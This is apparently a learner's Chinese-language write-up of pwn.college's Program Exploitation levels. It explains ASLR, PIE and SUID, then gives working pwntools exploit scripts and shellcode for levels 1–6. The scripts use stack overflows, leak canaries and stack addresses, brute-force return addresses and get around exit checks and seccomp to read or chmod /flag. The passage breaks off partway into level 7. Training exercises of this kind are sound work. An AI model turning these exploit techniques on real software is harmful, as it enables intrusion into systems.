pwn.college Program-Exploitation
https://pwn.college/program-security/program-exploitation/
值得学习的
1. 在二进制程序不开启地址随机化的情况下,操作系统如何保证二进制程序每次都在相同的地址加载?
在二进制程序不开启地址空间布局随机化(ASLR, Address Space Layout Randomization)的情况下,操作系统可以通过以下机制保证二进制程序每次都在相同的地址加载:
- 固定的加载基地址
在编译程序时,链接器会将二进制程序的各个部分(如代码段、数据段、堆栈等)指定一个默认的加载地址,这被称为基地址。当 ASLR 未启用时,操作系统会按照这个默认的基地址将程序加载到内存中。
由于没有开启地址随机化,每次执行这个程序时,它的代码段、数据段等都会加载到同样的内存地址。 - 操作系统加载器的行为
操作系统的加载器在加载可执行文件时,会检查是否开启了 ASLR。如果未开启,加载器会遵循可执行文件的默认基地址,并按照程序的地址映射表(通常是可执行文件中的程序头表或段表)将程序的各个部分加载到指定的固定地址。
在这种情况下,程序的每次加载地址都是固定的,这意味着所有函数、变量的内存地址在每次程序执行时都是一致的。 - 编译时的控制
在编译可执行文件时,开发者或编译器可以通过指定编译选项来关闭 ASLR。例如,在 GCC 编译器中,可以使用 -no-pie 选项生成一个不支持位置无关代码的可执行文件,这样该文件会有一个固定的基地址,而不会在每次加载时随机化。 - 静态链接 vs 动态链接
静态链接:在静态链接的程序中,所有库函数代码都被嵌入到可执行文件中,因此整个程序在内存中的布局是确定的,不依赖于动态链接库的加载地址。
动态链接:在动态链接的程序中,虽然主程序的加载地址是固定的,但动态链接库的加载地址可能会发生变化。如果 ASLR 未开启,动态库也会被加载到固定的地址。
总结:
当 ASLR 未开启时,操作系统通过遵循可执行文件中的默认加载地址和程序的内存布局来保证二进制程序每次都在相同的内存地址加载。这种固定加载地址的行为使得程序的各个部分在内存中的位置是确定的,但也因此增加了程序易受攻击的风险(例如基于内存地址的攻击)。这就是为什么现代操作系统通常会默认开启 ASLR 以提高程序的安全性。
如果有两个程序都没有开启 ASLR,它们的加载地址不一定会相同,具体取决于几个因素:
- 程序的默认基地址
每个可执行文件在编译时,链接器通常会为其指定一个默认的基地址。如果两个程序的默认基地址相同,并且没有其他干扰因素,它们在没有开启 ASLR 的情况下可能会加载到相同的内存地址。
但是,如果两个程序的默认基地址不同,即使没有开启 ASLR,它们也会被加载到不同的地址。 - 内存映射
即使两个程序具有相同的默认基地址,操作系统在加载时还需要考虑系统的内存使用情况。如果第一个程序已经占用了某些内存区域,操作系统可能会选择将第二个程序加载到不同的内存地址以避免冲突。
例如,如果第一个程序使用了某些共享库或内存映射文件,可能会占用一定的地址空间,导致第二个程序无法加载到完全相同的地址。 - 进程隔离
现代操作系统使用虚拟内存来实现进程隔离,即每个进程在其虚拟地址空间内运行,彼此独立。因此,虽然两个程序的加载地址在它们各自的虚拟地址空间中可以是相同的,但它们在实际的物理内存中并不共享相同的内存区域。
从每个程序的视角来看,它们可能看到相同的加载地址,但由于虚拟内存机制,这些地址映射到不同的物理内存位置。 - 动态链接库
如果两个程序使用相同的动态链接库,并且这些库没有开启 ASLR,它们的加载地址可能会在不同进程中一致。这会导致某些地址相同,但并不一定是整个程序都在相同的地址。
结论:
两个没有开启 ASLR 的程序不一定会加载到相同的地址,即使它们的默认基地址相同。加载地址的实际分配还受内存布局、系统资源使用情况以及操作系统的内存管理策略的影响。虚拟内存机制确保了每个程序有独立的虚拟地址空间,这意味着即使加载地址相同,它们在实际物理内存中的位置是不同的。
2. GDB 和 程序运行时的栈基址差异
GDB 中的栈基址
- 调试器的影响:当使用 GDB 调试程序时,GDB 插入了一些额外的调试信息和栈帧。这可能会影响栈的起始地址和布局。例如,GDB 可能会使用额外的栈帧来保存调试信息,或者在程序的栈中插入调试断点。
- 栈的显示:GDB 可能会显示调试器视图下的栈基址,这可能与程序在正常运行时的栈基址不同。
程序运行时的栈基址
- 运行时环境:在程序正常运行时,栈的基址由操作系统分配,并且可能受到各种因素的影响,包括操作系统的内存管理和地址空间布局(例如 ASLR)。
- 栈布局:程序在实际运行时,其栈的起始位置是由操作系统分配的,通常与调试时的环境不同。
3. PIE 和ASLR的关系?
PIE(Position-Independent Executable)模式是现代操作系统中用来增强程序安全性的一种机制。它使得生成的可执行文件在内存中加载时可以被放置在不同的内存地址,从而减少某些类型攻击(例如缓冲区溢出)的成功率。
1. PIE 的作用
PIE 是一种让可执行文件具备位置无关特性的机制。传统上,可执行文件在内存中总是加载到固定的地址,而 PIE 可执行文件则可以加载到内存中的任意地址,这一特性使得它更难成为攻击目标。
2. PIE 的实现原理
PIE 模式结合了以下技术:
- 位置无关代码(Position-Independent Code, PIC):PIE 可执行文件的代码是位置无关的,这意味着它不依赖于固定的内存地址,可以在任意地址运行。通过使用相对地址和偏移量,代码的执行不依赖于绝对地址。
- 动态链接:PIE 可执行文件通常是动态链接的,它们在运行时被链接器加载到内存中,而不是在编译时决定其内存位置。
- ASLR(地址空间布局随机化):PIE 模式通常与 ASLR 配合使用,操作系统会在每次加载 PIE 可执行文件时,为其分配一个不同的加载地址。这使得攻击者无法预测程序的内存布局,增加了攻击难度。
3. PIE 的优点
- 增强安全性:PIE 结合 ASLR 增加了攻击者的难度,因为每次执行时内存地址可能不同,减少了基于固定地址的漏洞利用可能性。
- 灵活性:PIE 可执行文件可以在任何内存地址加载,这对多进程或多线程的程序尤其有利,因为它们可以共享代码段但使用不同的内存布局。
4. 如何生成 PIE 可执行文件
在编译程序时,可以通过特定的编译器选项生成 PIE 可执行文件。以 GCC 为例:
gcc -fPIE -pie -o your_program your_program.c
- **
-fPIE
**:告诉编译器生成位置无关的代码。 - **
-pie
**:告诉链接器生成一个位置无关的可执行文件。
5. 如何检查程序是否是 PIE
你可以使用 readelf
或 objdump
来检查一个可执行文件是否是 PIE。
readelf -h your_program | grep 'Type:'
- 如果显示
DYN
,则说明该可执行文件是一个 PIE 文件。 - 如果显示
EXEC
,则说明该可执行文件不是 PIE 文件。
或者使用 objdump
:
objdump -f your_program | grep 'file format'
6. PIE 与 ASLR 的关系
- ASLR(地址空间布局随机化):ASLR 是一种安全技术,用于随机化程序在内存中的地址空间,包括栈、堆、共享库等。PIE 可执行文件配合 ASLR 可以实现更加有效的随机化,因为整个可执行文件的加载地址也会被随机化。
- PIE 的重要性:在支持 ASLR 的系统中,如果可执行文件是 PIE 类型,那么其加载地址也会被随机化。如果不是 PIE 类型,则 ASLR 对其作用有限,通常只能随机化栈、堆等部分内存区域,而代码段的加载地址仍然是固定的。
总结
- PIE(Position-Independent Executable) 是一种生成位置无关可执行文件的技术,增强了程序的安全性。
- PIE 使得可执行文件可以在内存中的任意位置加载,通常与 ASLR 结合使用,防止基于固定地址的攻击。
- 生成 PIE 可执行文件需要使用编译器和链接器的特定选项,可以通过工具检查文件是否为 PIE。
4. SUID
SUID(Set User ID)是一种文件权限设置,用于在执行文件时临时提升用户权限。在 UNIX 和 Linux 系统中,SUID 位的作用是让执行该文件的用户以文件所有者的身份运行程序,而不是以执行者自身的身份运行。
SUID 的详细解释
SUID 位:在文件权限的三组权限位中(所有者、组、其他人),SUID 位在所有者权限组中的执行权限位(第三位)设置。它的符号表示为小写的 s 或大写的 S:
- s:表示文件的所有者具有执行权限,并且设置了 SUID 位。
- S:表示文件的所有者没有执行权限,但设置了 SUID 位(这种情况较少见,因为没有执行权限的 SUID 位通常是无意义的)。
工作原理:当一个用户执行带有 SUID 位的可执行文件时,操作系统会将该用户的权限临时提升为文件所有者的权限。通常,这意味着一个普通用户执行一个 SUID 程序时,该程序将以 root 用户的权限运行。
假设有一个程序 example,其文件权限如下:
-rwsr-xr-x 1 root root 12345 Aug 24 2024 /path/to/example
- rws:表示文件所有者 root 对文件有读、写、执行权限,并且设置了 SUID 位。
- r-x:表示文件所属组对文件有读和执行权限。
- r-x:表示其他用户对文件有读和执行权限。
在这种情况下,当普通用户(如 user)执行 /path/to/example 时,操作系统会让该程序以 root 的权限运行,而不是 user 的权限。
设置 SUID 位
SUID 位对应的八进制值是 4,它会作为一个额外的位加在标准的三位八进制权限前面。
例如:
4755: 表示文件的权限是 rwsr-xr-x。具体的分解如下:
第一位 4:表示 SUID 位被设置。
第二位 7:表示文件所有者有读、写、执行权限 (rwx)。
第三位 5:表示文件所属组有读、执行权限 (r-x)。
第四位 5:表示其他用户有读、执行权限 (r-x)。
5. int __cdecl main(int argc, const char **argv, const char **envp) main这些参数是如何传递的
在 C/C++ 程序中,main()
函数的参数 argc
、argv
和 envp
是由操作系统传递给程序的。它们分别表示命令行参数的数量、命令行参数的数组,以及环境变量的数组。以下是它们是如何传递的详细过程:
1. 启动进程
当你在命令行中启动一个程序时(例如 ./myprogram arg1 arg2
),操作系统会创建一个新的进程,并将程序的可执行文件加载到该进程的内存空间。
2. 设置堆栈
在加载程序时,操作系统会为该进程设置一个初始堆栈。堆栈是一个数据结构,用于存储函数调用的局部变量、返回地址、以及函数的参数。
3. 传递命令行参数 (argc
和 argv
)
argv
数组: 操作系统会将命令行参数存储在堆栈上。具体来说,它会将每个参数的字符串存储在堆栈中的某个位置,并在argv
数组中存储指向这些字符串的指针。argv[0]
通常是程序的名称或路径,argv[1]
到argv[argc-1]
是传递给程序的其他参数。argv[argc]
为NULL
,表示数组的结束。argc
参数: 操作系统还会将命令行参数的数量,即argc
,作为一个整数值存储在堆栈上。
4. 传递环境变量 (envp
)
envp
数组: 环境变量是以字符串形式传递的,格式为key=value
。操作系统会将所有的环境变量存储在堆栈上,并创建一个envp
数组,其中每个元素都是一个指向这些字符串的指针。envp
数组的最后一个元素是NULL
,表示数组结束。
5. 堆栈布局
在实际传递给 main()
函数之前,堆栈的布局通常如下所示(从高地址到低地址):
envp[0] -> "HOME=/home/user"
envp[1] -> "PATH=/usr/bin"
...
envp[n] -> NULL ; 环境变量数组的结束标志
argv[0] -> "./myprogram"
argv[1] -> "arg1"
argv[2] -> "arg2"
...
argv[argc] -> NULL ; 参数数组的结束标志
argc = 3 ; 参数数量
6. 传递到 main()
在准备好堆栈后,操作系统会将控制权交给程序的入口点,即 _start
函数。_start
函数是程序的实际入口点,它负责初始化运行时环境,然后调用 main()
函数。
当 _start
函数调用 main()
时,它会将 argc
、argv
、envp
的地址分别传递给 main()
函数的参数,这就是为什么 main()
能够接收到这些参数。
7. 程序开始执行
这样,main()
函数中的 argc
、argv
和 envp
就分别持有了命令行参数的数量、命令行参数的指针数组和环境变量的指针数组。程序员可以通过这些参数访问命令行传递给程序的信息以及程序的运行环境。
小结
argc
: 命令行参数的数量,由操作系统传递。argv
: 指向命令行参数字符串的指针数组,每个元素都是一个指向某个命令行参数的指针。envp
: 指向环境变量字符串的指针数组,每个元素都是一个指向某个环境变量的指针。
这些参数是在程序启动时,由操作系统在堆栈上准备好,然后通过 _start
函数传递给 main()
函数的。
level 1
没有开启canary,首先使用mmap创建一个内存空间读取shellcode,这个地址是确定的,所以后续只要直接跳转到这个地址就可以了。
from pwn import *
elf = ELF("/challenge/toddlerone_level1.0")
p = process("/challenge/toddlerone_level1.0")
raw_file = open("/home/hacker/exploit/level1/shellcode.bin", 'rb')
raw_file = raw_file.read()
# file_bytes = len(raw_file)
print(raw_file)
p.sendline(raw_file)
buffer_size = 15 * 8
padding_size = 8 * 3
rbp = 8
address_ = p64(0x1FF69000)
payload = (buffer_size + padding_size + rbp) * b'A' + address_
p.recvuntil("Payload size: ")
p.sendline(f"{len(payload)}")
p.send(payload)
p.interactive()
"""
BITS 64
section .data
filename '/flag',0
section .bss
buffer resb 50
section .text
global _start
_start:
xor rax, rax
mov rax, 2
lea rdi, [rel filename]
xor rsi, rsi
syscall
mov rdi, rax
lea rsi, [rel buffer]
mov rdx, 100
xor rax, rax
syscall
mov rdi, 1
mov rdx, rax
mov rax, 1
syscall
"""
level 2
2.0
没有开启ASLR,没有开启canary。栈空间具有可执行权限。
将二进制代码写入栈中,然后覆盖返回地址为缓冲区起始地址即可。还是用的level1中的shellcode
from pwn import *
elf = ELF("/challenge/toddlerone_level2.0")
p = process("/challenge/toddlerone_level2.0")
raw_file = open("/home/hacker/exploit/level1/shellcode.bin", 'rb')
raw_file = raw_file.read()
file_bytes = len(raw_file)
print(file_bytes)
buffer_size = 56
padding_size = 8 *3
rbp = 8
address_ = p64(0x7fffffffce60)
payload = raw_file + (buffer_size + padding_size + rbp - file_bytes) * b'A' + address_
p.recvuntil("Payload size: ")
p.sendline(f"{len(payload)}")
p.send(payload)
p.interactive()
2.1
这一关没有回显了,所以你不能通过回显来判断返回地址应该写成啥。
gdb调试的话,对应的栈空间是会发生变化的。因为gdb可能会添加一些栈帧进去。所以用gdb显示的地址也不行。
但是因为本题关闭了PIE,所以每次栈空间的基址是一样的。 0x7ffffffde000 0x7ffffffff000 0x21000 0x0 rwxp [stack]
用gdb查看的话,返回地址应该是 0x7fffffffcf28
。但是gdb返回的栈空间和实际运行的栈空间有差距。
我通过之前2.0的程序观察,单独运行程序,栈基址是 0x7fffffffcf50
,运行gdb查看程序的话,栈基址是 0x7fffffffcef0
差距不大。
所以我选择从 0x7ffffffc000
开始爆破。最终正确的地址是 0x7ffffffce20
from pwn import *
raw_file = open("/home/hacker/exploit/level1/shellcode.bin", 'rb')
raw_file = raw_file.read()
file_bytes = len(raw_file)
elf = ELF("/challenge/toddlerone_level2.1")
base_address = 0x7fffffffc000
# correct_addresss = 0x7fffffffce20
while True:
p = process("/challenge/toddlerone_level2.1")
buffer_size = 0x90
padding_size = 0
rbp = 8
address_ = p64(base_address)
payload = raw_file + (buffer_size + padding_size + rbp - file_bytes) * b'A' + address_
p.recvuntil("Payload size: ")
p.sendline("160")
p.send(payload)
response = p.recvall().decode()
if "pwn" in response:
print(address_)
print(response)
p.interactive()
exit()
base_address += 0x10
level 3
这个题开启了 canary
和 PIE
保护。只能通过重复的缓冲区溢出,借助 puts
的回显,获取canary的值和真正的栈空间的值。
首先challenge函数的栈空间是 0x80
,在调用的过程中会 push return_address
和 push rbp
所以这里又多了 0x10
字节。我们可以通过 REPEAT
重复调用 challenge
获取 canary_value
。再次使用 REPEAT
,重复调用 challenge
获取main函数调用 challenge
时,challenge函数的栈基址。这样,我们在减去两个 0x80+0x10
,就能获得第三次调用challenge函数时的栈基址。再减去 0x40
就是要覆盖返回地址的栈空间的地址。shellcode就放在这里。
因为栈空间有限,所以我是用execve函数调用外部的c程序来打印flag的值。这样能节约shellcode的空间。
challenge_3:
challenge_2函数的栈基址
ret返回地址
chanllenge_2:
challenge_1函数的栈基址------->第二次重复调用challenge函数就是为了获取这个,然后减去2*0x90就是challenge_3函数的栈基址
ret返回地址
chanllenge_1:
mian函数的栈基址
ret返回地址
from pwn import *
elf = ELF("/challenge/toddlerone_level3.0")
p = process("/challenge/toddlerone_level3.0")
p.recvuntil("Payload size: ")
init_payload_size = 57
p.sendline(f"{init_payload_size}")
init_payload = b'REPEAT' + b'A' * (init_payload_size - 6)
p.send(init_payload)
p.recvuntil("You said: ")
response = p.recvline().strip()
canary_value = response[57:64].rjust(8, b'\x00')
canary_value = p64(u64(canary_value))
print(f"canary_value: {canary_value}")
init_payload_size = 57
p.recvuntil("Payload size: ")
p.sendline(f"{init_payload_size}")
init_payload = b'REPEAT' + b'A' * (init_payload_size - 6)
p.send(init_payload)
p.recvuntil("You said: ")
response = p.recvline().strip()
stack_value = response[64:].ljust(8, b'\x00')
stack_value = u64(stack_value)
print(f"stack_value: {p64(stack_value)}")
return_address = p64(stack_value - 0x90 - 0x90 - 0x40)
real_payload_size = 56 + 8 + 8 + 8
p.recvuntil("Payload size: ")
p.sendline(f"{real_payload_size}")
shellcode_file = open("/home/hacker/exploit/level3/shellcode.bin", "rb")
shellcode = shellcode_file.read()
shellcode_size = len(shellcode)
real_payload = shellcode + (56 - shellcode_size)*b'A' + canary_value + 8*b'A' + return_address
p.send(real_payload)
p.interactive()
from pwn import *
elf = ELF("/challenge/toddlerone_level3.1")
p = process("/challenge/toddlerone_level3.1")
p.recvuntil("Payload size: ")
init_payload_size = 0x60 - 8 + 1
p.sendline(f"{init_payload_size}")
init_payload = b'REPEAT' + b'A' * (init_payload_size - 6)
p.send(init_payload)
p.recvuntil("You said: ")
response = p.recvline().strip()
canary_value = response[init_payload_size:init_payload_size+7].rjust(8, b'\x00')
canary_value = p64(u64(canary_value))
print(f"canary_value: {canary_value}")
p.recvuntil("Payload size: ")
p.sendline(f"{init_payload_size}")
p.send(init_payload)
p.recvuntil("You said: ")
response = p.recvline().strip()
stack_value = response[init_payload_size+7:].ljust(8, b'\x00')
stack_value = u64(stack_value)
print(f"stack_value: {p64(stack_value)}")
return_address = p64(stack_value - 0xB0 - 0xB0 - 0x60)
real_payload_size = (0x60-8) + 8 + 8 + 8
p.recvuntil("Payload size: ")
p.sendline(f"{real_payload_size}")
shellcode_file = open("/home/hacker/exploit/level3/shellcode.bin", "rb")
shellcode = shellcode_file.read()
shellcode_size = len(shellcode)
real_payload = shellcode + ((0x60-8) - shellcode_size)*b'A' + canary_value + 8*b'A' + return_address
p.send(real_payload)
p.interactive()
level 4
这一关跟上一关的区别是,在你不传入REPEAT的情况下,他会检验一个8个字节的值,如果不对就调用exit。调用exit就不会再回到程序的执行流了,就直接退出了。所以你覆盖的返回地址就失效了。所以必须要在栈空间的构造中,填入这个值。注意数字0xbeef和真实的数据发送0xef 0xbe!
if ( strstr((const char *)buf, "REPEAT") )
{
puts("Backdoor triggered! Repeating challenge()");
return challenge(v9, v8, v7);
}
else
{
puts("Goodbye!");
puts("This challenge will, by default, exit() instead of returning from the");
puts("challenge function. When a process exit()s, it ceases to exist immediately,");
puts("and no amount of overwritten return addresses will let you hijack its control");
puts("flow. You will have to reverse engineer the program to understand how to avoid");
puts("making this challenge exit(), and allow it to return normally.");
if ( v14 != 0xF58B48D72EC7B457LL )
{
puts("exit() condition triggered. Exiting!");
exit(42);
}
puts("exit() condition avoided! Continuing execution.");
return 0LL;
}
from pwn import *
elf = ELF("/challenge/toddlerone_level4.1")
p = process("/challenge/toddlerone_level4.1")
p.recvuntil("Payload size: ")
init_payload_size = 0x58 + 0x8 + 0x8 + 0x8 - 8 + 1
p.sendline(f"{init_payload_size}")
init_payload = b'REPEAT' + b'A' * (init_payload_size - 6)
p.send(init_payload)
p.recvuntil("You said: ")
response = p.recvline().strip()
canary_value = response[init_payload_size:init_payload_size+7].rjust(8, b'\x00')
canary_value = p64(u64(canary_value))
print(f"canary_value: {canary_value}")
p.recvuntil("Payload size: ")
p.sendline(f"{init_payload_size}")
p.send(init_payload)
p.recvuntil("You said: ")
response = p.recvline().strip()
stack_value = response[init_payload_size+7:].ljust(8, b'\x00')
stack_value = u64(stack_value)
print(f"stack_value: {p64(stack_value)}")
return_address = p64(stack_value - 0xC0 - 0xC0 - 0x70)
real_payload_size = 0x58 + 0x8 + 0x8 + 0x8 + 0x8 + 0x8
p.recvuntil("Payload size: ")
p.sendline(f"{real_payload_size}")
shellcode_file = open("/home/hacker/exploit/level3/shellcode.bin", "rb")
shellcode = shellcode_file.read()
shellcode_size = len(shellcode)
exit_code = p64(0x4a6fb1126219f9e3)
real_payload = shellcode + (0x58-shellcode_size) * b'B' + exit_code + 8 *b'A' + canary_value + 8*b'A' + return_address
p.send(real_payload)
p.interactive()
from pwn import *
elf = ELF("/challenge/toddlerone_level4.0")
p = process("/challenge/toddlerone_level4.0")
p.recvuntil("Payload size: ")
init_payload_size = 0x48 + 0x8 + 0x8 + 0x8 - 8 + 1
p.sendline(f"{init_payload_size}")
init_payload = b'REPEAT' + b'A' * (init_payload_size - 6)
p.send(init_payload)
p.recvuntil("You said: ")
response = p.recvline().strip()
canary_value = response[init_payload_size:init_payload_size+7].rjust(8, b'\x00')
canary_value = p64(u64(canary_value))
print(f"canary_value: {canary_value}")
p.recvuntil("Payload size: ")
p.sendline(f"{init_payload_size}")
p.send(init_payload)
p.recvuntil("You said: ")
response = p.recvline().strip()
stack_value = response[init_payload_size+7:].ljust(8, b'\x00')
stack_value = u64(stack_value)
print(f"stack_value: {p64(stack_value)}")
return_address = p64(stack_value - 0xB0 - 0xB0 - 0x60)
real_payload_size = (0x60-8) + 8 + 8 + 8
p.recvuntil("Payload size: ")
p.sendline(f"{real_payload_size}")
shellcode_file = open("/home/hacker/exploit/level3/shellcode.bin", "rb")
shellcode = shellcode_file.read()
shellcode_size = len(shellcode)
exit_code = p64(0xf58b48d72ec7b457)
real_payload = shellcode + (72-shellcode_size) * b'B' + exit_code + 8 *b'A' + canary_value + 8*b'A' + return_address
p.send(real_payload)
p.interactive()
level 5
这一关跟上一关没有区别,将退出状态的检验换成了限制进程的系统调用。
这段代码的功能是在程序中设置 seccomp,以限制进程只能调用指定的系统调用。其余未明确允许的系统调用会导致进程被终止。这种技术通常用于增加程序的安全性,防止未知的系统调用带来的安全风险。
else
{
puts("Restricting system calls (default: kill)");
v17 = seccomp_init(0LL);
for ( i = 0; i <= 1; ++i )
{
v6 = *((_DWORD *)v16 + i);
v7 = (const char *)seccomp_syscall_resolve_num_arch(0LL, v6);
printf("Allowing syscall: %s (number %i)\n", v7, v6);
if ( (unsigned int)seccomp_rule_add(v17, 2147418112LL, *((unsigned int *)v16 + i), 0LL) )
__assert_fail(
"seccomp_rule_add(ctx, SCMP_ACT_ALLOW, syscalls_allowed[i], 0) == 0",
"<stdin>",
0x9Cu,
"challenge");
}
if ( (unsigned int)seccomp_load(v17) )
__assert_fail("seccomp_load(ctx) == 0", "<stdin>", 0x9Fu, "challenge");
}
import base64
import requests
from pwn import *
elf = ELF("/challenge/toddlerone_level5.1")
p = process("/challenge/toddlerone_level5.1")
p.recvuntil("Payload size: ")
init_payload_size = 0x30 + 8 + 1
p.sendline(f"{init_payload_size}")
init_payload = b'REPEAT' + b'A' * (init_payload_size - 6)
p.send(init_payload)
p.recvuntil("You said: ")
response = p.recvline().strip()
canary_value = response[init_payload_size:init_payload_size+7].rjust(8, b'\x00')
canary_value = p64(u64(canary_value))
print(f"canary_value: {canary_value}")
init_payload_size = 0x30 + 8 + 8
p.recvuntil("Payload size: ")
p.sendline(f"{init_payload_size}")
init_payload = b'REPEAT' + b'A' * (init_payload_size - 6)
p.send(init_payload)
p.recvuntil("You said: ")
response = p.recvline().strip()
print(response)
stack_value = response[init_payload_size:].ljust(8, b'\x00')
stack_value = u64(stack_value)
print(f"stack_value: {p64(stack_value)}")
return_address = p64(stack_value - 0xA0 - 0xA0 - 0x40)
real_payload_size = 0x20 + 0x8 + 0x8 + 0x8 + 0x8 + 0x8 + 0x8
p.recvuntil("Payload size: ")
p.sendline(f"{real_payload_size}")
shellcode_file = open("/home/hacker/exploit/level3/shellcode_2.bin", "rb")
shellcode = shellcode_file.read()
shellcode_size = len(shellcode)
exit_code = p64(0xF55A7AC1D88E5605)
real_payload = shellcode + 8 *b'A' + exit_code + 8 *b'A' + 8 *b'A' + canary_value + 8*b'A'+ return_address
p.send(real_payload)
p.interactive()
exit()
elf = ELF("/challenge/toddlerone_level5.0")
p = process("/challenge/toddlerone_level5.0")
p.recvuntil("Payload size: ")
init_payload_size = 0x20 + 8 + 1
p.sendline(f"{init_payload_size}")
init_payload = b'REPEAT' + b'A' * (init_payload_size - 6)
p.send(init_payload)
p.recvuntil("You said: ")
response = p.recvline().strip()
canary_value = response[init_payload_size:init_payload_size+7].rjust(8, b'\x00')
canary_value = p64(u64(canary_value))
print(f"canary_value: {canary_value}")
init_payload_size = 0x20 + 8 + 8 + 8 + 8
p.recvuntil("Payload size: ")
p.sendline(f"{init_payload_size}")
init_payload = b'REPEAT' + b'A' * (init_payload_size - 6)
p.send(init_payload)
p.recvuntil("You said: ")
response = p.recvline().strip()
print(response)
stack_value = response[init_payload_size:].ljust(8, b'\x00')
stack_value = u64(stack_value)
print(f"stack_value: {p64(stack_value)}")
return_address = p64(stack_value - 0xA0 - 0xA0 - 0x40)
real_payload_size = 0x20 + 0x8 + 0x8 + 0x8 + 0x8 + 0x8 + 0x8
p.recvuntil("Payload size: ")
p.sendline(f"{real_payload_size}")
shellcode_file = open("/home/hacker/exploit/level3/shellcode_2.bin", "rb")
shellcode = shellcode_file.read()
shellcode_size = len(shellcode)
exit_code = p64(0xc47c70dcf4a8eb20)
real_payload = shellcode + exit_code + 8 *b'A' + canary_value + 8*b'A'+ 8*b'A'+ 8*b'A' + return_address
p.send(real_payload)
p.interactive()
level 6
使用 seccomp_rule_add
限制了系统调用,由于限制系统调用后代码使用了 puts
函数,所以为了保证程序正常运行到返回,必须要保证 write
系统调用正常使用。
在代码中我们只能保证两个系统调用可以正常使用。write
占用了其中一个,所以我们只能使用 chmod
系统调用更改flag文件的权限,然后读取flag中的内容。
BITS 64
section .data
filename db '/flag', 0
mode equ 0x1a4 ; 十六进制的644 ---注意这里的传参 不能直接写644,那是十进制数,之前一直写0644也不对,他好像不能直接识别为八进制
section .text
global _start
_start:
mov rax, 90
lea rdi, [rel filename]
mov rsi, mode
syscall
from pwn import *
elf = ELF("/challenge/toddlerone_level6.1")
p = process("/challenge/toddlerone_level6.1")
p.recvuntil("Payload size: ")
init_payload_size = 0x68 + 1
p.sendline(f"{init_payload_size}")
init_payload = b'REPEAT' + b'A' * (init_payload_size - 6)
p.send(init_payload)
p.recvuntil("You said: ")
response = p.recvline().strip()
canary_value = response[init_payload_size:init_payload_size+7].rjust(8, b'\x00')
canary_value = p64(u64(canary_value))
print(response)
print(f"canary_value: {canary_value}")
init_payload_size = 0x70
p.recvuntil("Payload size: ")
p.sendline(f"{init_payload_size}")
init_payload = b'REPEAT' + b'A' * (init_payload_size - 6)
p.send(init_payload)
p.recvuntil("You said: ")
response = p.recvline().strip()
print(response)
stack_value = response[init_payload_size:].ljust(8, b'\x00')
stack_value = u64(stack_value)
print(f"stack_value: {p64(stack_value)}")
return_address = p64(stack_value - 0xD0 - 0xD0 - 0x70)
real_payload_size = 0x70 + 8 + 8
p.recvuntil("Payload size: ")
p.sendline(f"{real_payload_size}")
shellcode_file = open("/home/hacker/exploit/level6/shellcode.bin", "rb")
shellcode = shellcode_file.read()
shellcode_size = len(shellcode)
# real_payload = shellcode + 46 * b'a' + p32(1) + p32(0x5A) + 12*b'A' + canary_value + 8*b'C'+ return_address
real_payload = shellcode + 6 * b'A' + 52* b'a' + p32(1) + p32(0x5A) + 12*b'A' + canary_value + 8*b'C'+ return_address
p.send(real_payload)
p.interactive()
exit()
"""
mov rax, 90
lea rdi, [rel filename]
mov rsi, mode
syscall
push 0x66
mov rdi, rsp
push 4
pop rsi
push 0x5A
pop rax
syscall
times 10 nop
"""
from pwn import *
elf = ELF("/challenge/toddlerone_level6.0")
p = process("/challenge/toddlerone_level6.0")
p.recvuntil("Payload size: ")
init_payload_size = 0x68 + 1
p.sendline(f"{init_payload_size}")
init_payload = b'REPEAT' + b'A' * (init_payload_size - 6)
p.send(init_payload)
p.recvuntil("You said: ")
response = p.recvline().strip()
canary_value = response[init_payload_size:init_payload_size+7].rjust(8, b'\x00')
canary_value = p64(u64(canary_value))
print(f"canary_value: {canary_value}")
init_payload_size = 0x80
p.recvuntil("Payload size: ")
p.sendline(f"{init_payload_size}")
init_payload = b'REPEAT' + b'A' * (init_payload_size - 6)
p.send(init_payload)
p.recvuntil("You said: ")
response = p.recvline().strip()
print(response)
stack_value = response[init_payload_size:].ljust(8, b'\x00')
stack_value = u64(stack_value)
print(f"stack_value: {p64(stack_value)}")
return_address = p64(stack_value - 0xE0 - 0xE0 - 0x80)
real_payload_size = 0x80 + 8 + 8
p.recvuntil("Payload size: ")
p.sendline(f"{real_payload_size}")
shellcode_file = open("/home/hacker/exploit/level6/shellcode.bin", "rb")
shellcode = shellcode_file.read()
shellcode_size = len(shellcode)
real_payload = shellcode + 10 * b'A' + 60* b'a' + p32(90) + p32(0x01) + p32(0x00) + canary_value + 16 *b'A'+ 8*b'C'+ return_address
p.send(real_payload)
p.interactive()
exit()
level 7
这一关增加了虚拟架构。我们首先要寻找溢出点,发现在执行 SYS
系统调用的 write
调用时,我们可以从 0x300 + 0x FF
开始,这样就可以溢出到保留的返回地址 ret
。然后我们在将返回地址填充为栈空间的地址,这样就可以跳转到栈空间中执行shellcode。
但是在这一关中,没办法找到准确的 buf
的栈地址,因为保留的栈帧不知道为什么变成0了。所以我们需要使用 cat /proc/pid/maps
查看对应进程的stack空间起始地址,至于 buf
的首地址,可以通过遍历来解决,注意step为 0x08
hacker@program-exploitation~level7-0:~$ cat /proc/4218/maps
00400000-00404000 r-xp 00000000 07:17d 420 /home/hacker/exploit/level7/toddlerone_level7.0
00405000-00406000 r-xp 00004000 07:17d 420 /home/hacker/exploit/level7/toddlerone_level7.0
00406000-00407000 rwxp 00005000 07:17d 420 /home/hacker/exploit/level7/toddlerone_level7.0
00407000-00428000 rwxp 00000000 00:00 0 [heap]
7ffff7dce000-7ffff7df0000 r-xp 00000000 00:b35 188511454 /usr/lib/x86_64-linux-gnu/libc-2.31.so
7ffff7df0000-7ffff7f68000 r-xp 00022000 00:b35 188511454 /usr/lib/x86_64-linux-gnu/libc-2.31.so
7ffff7f68000-7ffff7fb6000 r-xp 0019a000 00:b35 188511454 /usr/lib/x86_64-linux-gnu/libc-2.31.so
7ffff7fb6000-7ffff7fba000 r-xp 001e7000 00:b35 188511454 /usr/lib/x86_64-linux-gnu/libc-2.31.so
7ffff7fba000-7ffff7fbc000 rwxp 001eb000 00:b35 188511454 /usr/lib/x86_64-linux-gnu/libc-2.31.so
7ffff7fbc000-7ffff7fc2000 rwxp 00000000 00:00 0
7ffff7fcb000-7ffff7fce000 r--p 00000000 00:00 0 [vvar]
7ffff7fce000-7ffff7fcf000 r-xp 00000000 00:00 0 [vdso]
7ffff7fcf000-7ffff7fd0000 r-xp 00000000 00:b35 188511193 /usr/lib/x86_64-linux-gnu/ld-2.31.so
